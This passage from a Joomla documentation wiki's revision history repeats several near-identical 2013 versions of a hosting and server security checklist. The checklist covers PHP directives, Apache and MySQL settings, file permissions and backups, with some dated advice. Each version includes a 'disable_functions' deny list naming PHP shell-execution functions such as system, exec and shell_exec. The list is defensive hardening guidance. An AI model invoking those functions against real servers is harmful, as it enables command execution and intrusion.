: Joomla! 3.0 and above '''requires''' ''magic_quotes_gpc'' to be set to off and will not install if ''magic_quotes_gpc'' is on.

: Joomla! advises ''magic_quotes_gpc'' to be set to off when using Joomla 2.5.xx.

: Joomla! 1.5 ignores the magic_quotes setting and works fine either way. The safest method is to turn magic_quotes_gpc off and avoid all poorly-written extensions.

: The recommended settings for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions.

: For more information, see either [[Magic quotes and security]] or [http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

to turn off magic_quotes_gpc = 0
to turn on magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This was an attempt to solve shared security problems and provides a false sense of security. Safe mode can also cause ownership problems with applications and any files created by the applications. See the official PHP site for more information. [http://php.net/manual/en/features.safe-mode.php PHP Manual: Safe Mode]

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server.

: For more information, see [http://php.net/manual/en/security.globals.php PHP Manual: Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_include===

: Do not use PHP ''allow_url_include''. This PHP option allows a programmer to include a remote file using an URL rather than a local file path. This is insecure. If an application (or extension) can be tricked into including content from a URL outside itself, an attacker could force the application (or extension) to start running code from their own web site. If an application or extension claims to require this feature to function, you should look into alternatives, as a requirement to use of this feature indicates serious design flaws within the application or extension.

=== Use allow_url_fopen ===
: This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons. '''Enable and use allow_url_fopen to allow Joomla's One-Click-Update to work properly.'''

: For more information see: [http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen PHP Manual: allow_url_fopen and allow_url_include ]

Proper setup will have this:
allow_url_fopen = 1
allow_url_include = 0

PHP default: allow_url_fopen is enabled
PHP default: allow_url_include is disabled

==File permissions==
: If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
:: *DocumentRoot directory: 750 (e.g. public_html)
:: *Files: 644
:: *Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

: With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.

: Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

: If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
:: * DocumentRoot directory: 750 (e.g. public_html)
:: * PHP files: 600 (400 if you are truly paranoid)
:: * HTML and image files: 644 (444 if you are truly paranoid)
:: * Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

: More information on file permissions can be found here: [[Security Checklist/Where can you learn more about file permissions?]]

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

:: 1. Broken site due to a faulty upgrade.
:: 2. Hardware failure, such as dead hard drives, power failures, server theft, etc.
:: 3. Authoritarian government intervention. (More common than some think.)
:: 4. Needing to quickly relocate to a new server or hosting provider.

: Backups are not recommended for restoring a compromised/hacked site as it is possible the backups will contain the altered and hack files. Using the backups to restore a hacked site would just restore the hack to the site.


[[Category:Security Checklist]]
[[Category:Server configurations]][[Category:Server setup hosted]]

Security Checklist/Hosting and Server Setup

2013-02-20T01:09:43Z

Phild: /* File permissions */ added link to local permissions page better formatting of info

{{:Security Checklist/TOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured htaccess|preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site.

: Joomla! 3.0 and above '''requires''' ''magic_quotes_gpc'' to be set to off and will not install if ''magic_quotes_gpc'' is on.

: Joomla! advises ''magic_quotes_gpc'' to be set to off when using Joomla 2.5.xx.

: Joomla! 1.5 ignores the magic_quotes setting and works fine either way. The safest method is to turn magic_quotes_gpc off and avoid all poorly-written extensions.

: The recommended settings for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions.

: For more information, see either [[Magic quotes and security]] or [http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

to turn off magic_quotes_gpc = 0
to turn on magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This was an attempt to solve shared security problems and provides a false sense of security. Safe mode can also cause ownership problems with applications and any files created by the applications. See the official PHP site for more information. [http://php.net/manual/en/features.safe-mode.php PHP Manual: Safe Mode]

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server.

: For more information, see [http://php.net/manual/en/security.globals.php PHP Manual: Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_include===

: Do not use PHP ''allow_url_include''. This PHP option allows a programmer to include a remote file using an URL rather than a local file path. This is insecure. If an application (or extension) can be tricked into including content from a URL outside itself, an attacker could force the application (or extension) to start running code from their own web site. If an application or extension claims to require this feature to function, you should look into alternatives, as a requirement to use of this feature indicates serious design flaws within the application or extension.

=== Use allow_url_fopen ===
: This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons. '''Enable and use allow_url_fopen to allow Joomla's One-Click-Update to work properly.'''

: For more information see: [http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen PHP Manual: allow_url_fopen and allow_url_include ]

Proper setup will have this:
allow_url_fopen = 1
allow_url_include = 0

PHP default: allow_url_fopen is enabled
PHP default: allow_url_include is disabled

==File permissions==
: If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
:: *DocumentRoot directory: 750 (e.g. public_html)
:: *Files: 644
:: *Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

: With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.

: Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

: If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
:: * DocumentRoot directory: 750 (e.g. public_html)
:: * PHP files: 600 (400 if you are truly paranoid)
:: * HTML and image files: 644 (444 if you are truly paranoid)
:: * Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

: More information on file permissions can be found here: [[Security Checklist/Where can you learn more about file permissions?]]

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.


[[Category:Security Checklist]]
[[Category:Server configurations]][[Category:Server setup hosted]]

Security Checklist/Hosting and Server Setup

2013-02-20T01:01:49Z

Phild: /* Adjust magic_quotes_gpc */ made local link to local magic_quotes page properly

{{:Security Checklist/TOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured htaccess|preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site.

: Joomla! 3.0 and above '''requires''' ''magic_quotes_gpc'' to be set to off and will not install if ''magic_quotes_gpc'' is on.

: Joomla! advises ''magic_quotes_gpc'' to be set to off when using Joomla 2.5.xx.

: Joomla! 1.5 ignores the magic_quotes setting and works fine either way. The safest method is to turn magic_quotes_gpc off and avoid all poorly-written extensions.

: The recommended settings for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions.

: For more information, see either [[Magic quotes and security]] or [http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

to turn off magic_quotes_gpc = 0
to turn on magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This was an attempt to solve shared security problems and provides a false sense of security. Safe mode can also cause ownership problems with applications and any files created by the applications. See the official PHP site for more information. [http://php.net/manual/en/features.safe-mode.php PHP Manual: Safe Mode]

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server.

: For more information, see [http://php.net/manual/en/security.globals.php PHP Manual: Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_include===

: Do not use PHP ''allow_url_include''. This PHP option allows a programmer to include a remote file using an URL rather than a local file path. This is insecure. If an application (or extension) can be tricked into including content from a URL outside itself, an attacker could force the application (or extension) to start running code from their own web site. If an application or extension claims to require this feature to function, you should look into alternatives, as a requirement to use of this feature indicates serious design flaws within the application or extension.

=== Use allow_url_fopen ===
: This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons. '''Enable and use allow_url_fopen to allow Joomla's One-Click-Update to work properly.'''

: For more information see: [http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen PHP Manual: allow_url_fopen and allow_url_include ]

Proper setup will have this:
allow_url_fopen = 1
allow_url_include = 0

PHP default: allow_url_fopen is enabled
PHP default: allow_url_include is disabled

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.


[[Category:Security Checklist]]
[[Category:Server configurations]][[Category:Server setup hosted]]

Security Checklist/Hosting and Server Setup

2013-02-20T00:56:49Z

Phild: /* Adjust magic_quotes_gpc */

{{:Security Checklist/TOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured htaccess|preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

